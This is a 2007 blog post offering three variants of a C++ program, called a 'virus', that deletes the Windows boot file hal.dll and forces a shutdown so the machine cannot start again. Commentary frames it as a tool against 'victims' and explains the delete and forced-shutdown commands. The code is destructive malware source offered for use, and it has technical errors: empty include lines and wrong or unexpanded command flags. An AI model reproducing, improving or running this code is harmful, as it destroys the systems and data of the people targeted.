Thursday, November 8, 2007

c++ virus2

This is a powerful C++ virus that I have made, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.
The Original Code:
#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}


A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:


#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}


The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

NEW: SVXX's Version of this virus that uses Batch for most of its commands:
#include
#include

using namespace std;

int main(int argc, char *argv[])
{
system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
system("PAUSE");
return EXIT_SUCCESS;
}

The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.
shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.